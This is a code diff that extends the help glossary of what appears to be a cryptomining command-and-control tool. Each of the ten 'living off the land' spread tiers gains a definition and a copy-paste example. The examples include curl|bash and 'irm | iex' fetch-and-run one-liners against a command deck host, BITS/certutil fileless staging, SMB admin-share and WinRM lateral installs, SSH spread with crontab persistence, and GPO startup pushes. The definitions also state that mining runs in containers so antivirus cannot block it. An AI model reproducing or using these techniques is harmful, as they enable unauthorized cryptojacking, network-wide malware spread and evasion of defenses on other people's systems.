Expand LOTL vector glossary, examples, and mermaid architecture docs

server/web/src/help/lotlOnionTiers.test.ts

@@ -8,8 +8,8 @@ describe('lotlOnionTiers', () => {
     expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
   });
 
-  it('documents each tier with a one-line hint', () => {
+  it('documents each tier with hint, definition, and example', () => {
     expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
-    expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
+    expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
   });
 });

server/web/src/help/lotlOnionTiers.ts

@@ -20,19 +20,103 @@ export interface LotlOnionTierDoc {
   label: string;
   /** One-line operator hint for playbook tabs */
   hint: string;
+  /** Plain-language definition for glossary and Forge docs */
+  definition: string;
+  /** Copy-pasteable CLI, Crucible command, or Forge preset example */
+  example: string;
 }
 
 export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
-  { id: 'vuln_recon', label: 'Vuln Recon', hint: 'Read-only KEV/CVE/service probe — report-only, no exploit' },
-  { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
-  { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
-  { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
-  { id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
-  { id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
-  { id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
-  { id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
-  { id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
-  { id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
+  {
+    id: 'vuln_recon',
+    label: 'Vuln Recon',
+    hint: 'Read-only KEV/CVE/service probe — report-only, no exploit',
+    definition:
+      'Runs a read-only vulnerability and posture scan on the host before any spread or mining. Findings feed risk badges and triple-onion gates; no exploit payloads are sent.',
+    example:
+      'Triple-onion recon tier (automatic on connect) or Crucible: `POST /api/v1/agents/{id}/command` `{"action":"full_sys_check"}` — `vuln_findings` appear in WS `stats_batch`.',
+  },
+  {
+    id: 'docker',
+    label: 'Docker',
+    hint: 'Container worker image — isolated RandomX, no host miner exe drop',
+    definition:
+      'Deploys or mines inside an OCI container (Docker/Podman) so RandomX runs isolated from the host filesystem — useful when AV blocks dropped exes.',
+    example:
+      'Forge LOTL Onion preset (`lotl_onion_enabled`) + Calibrate `service_deploy_allowlist` maps `com.docker.service` → `docker_load`. Probe & Join picks lane when Docker service is running.',
+  },
+  {
+    id: 'wsl',
+    label: 'WSL',
+    hint: 'WSL curl|bash one-liner when native Windows path is blocked',
+    definition:
+      'Uses Windows Subsystem for Linux to fetch and run the Linux worker via curl|bash when native Windows execution is blocked or unavailable.',
+    example:
+      'Autospread WSL path: `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"` (baked when WSL is detected).',
+  },
+  {
+    id: 'powershell',
+    label: 'PowerShell',
+    hint: 'PS remoting / hidden install.ps1 from your C2 origin',
+    definition:
+      'Stages the worker with PowerShell — hidden window, encoded bootstrap, or PS remoting — without dropping a standalone miner exe on disk first.',
+    example:
+      'WinRM template one-liner: `irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex` — export via `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`.',
+  },
+  {
+    id: 'dotnet',
+    label: 'dotnet',
+    hint: 'dotnet tool-run bootstrap — no standalone payload exe',
+    definition:
+      'Bootstraps the worker through the .NET CLI (`dotnet tool run` or bundled SDK) so the payload never appears as a lone unsigned exe.',
+    example:
+      'Mining execution tier `dotnet` in fallback chain when `miner_execution=dotnet` at forge; spread lane runs `dotnet` bootstrap from C2 `install.ps1` manifest.',
+  },
+  {
+    id: 'bits_curl',
+    label: 'bits/curl',
+    hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch',
+    definition:
+      'Downloads staged chunks with BITS (`bitsadmin`) or `curl.exe`, optionally decodes via `certutil`, verifies SHA256, then launches — classic fileless staging.',
+    example:
+      'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
+  },
+  {
+    id: 'smb',
+    label: 'SMB',
+    hint: 'admin$ / C$ copy + SCM — classic lateral on open 445',
+    definition:
+      'Laterally installs via SMB admin shares (admin$, C$) and Service Control Manager — no PsExec; uses `sc.exe` and `net.exe` LOLBins on open port 445.',
+    example:
+      'Crucible: `{"action":"spread_smb_unc","path":"\\\\\\\\forge-host\\\\pathforge$\\\\worker.exe"}` — or Path Tracer `POST /api/v1/pathtrace/spread` with `unc_path`.',
+  },
+  {
+    id: 'winrm',
+    label: 'WinRM',
+    hint: 'Opportunistic PS remoting when 5985/5986 responds',
+    definition:
+      'Uses Windows Remote Management (ports 5985/5986) to run encoded install bootstrap on subnet peers when remoting is enabled.',
+    example:
+      'Autospread when `winrm_spread` forge flag set; manual: `winrs -r:TARGET hostname` then encoded bootstrap. Template export: `{"template":"winrm","com_hijack":false}`.',
+  },
+  {
+    id: 'linux',
+    label: 'Linux',
+    hint: 'SSH lateral on Unix agents — same wallet, no extra drop',
+    definition:
+      'SSH/SCP lateral spread on Linux/macOS agents using passwordless keys — same XMR wallet, optional systemd-run or crontab LOTL persistence.',
+    example:
+      '`autospread_unix.go` lateral: `scp worker user@10.0.0.5:/tmp/ && ssh user@10.0.0.5 ./worker --spread-install --defer-mining`. Export: `{"template":"linux-lotl","lotl_mode":"both"}`.',
+  },
+  {
+    id: 'gpo',
+    label: 'GPO',
+    hint: 'Domain startup/logon script push — operator-owned AD only',
+    definition:
+      'Group Policy startup script pulls the worker from your command deck on domain boot — mining policy stays server-side, not in the GPO blob.',
+    example:
+      'Export `{"template":"gpo"}` → deploy `gpo-startup.ps1` under Computer Configuration → Scripts → Startup. Intune sibling: `{"template":"intune"}`.',
+  },
 ];
 
 export function lotlTierDocUrl(tier: LotlOnionTierId): string {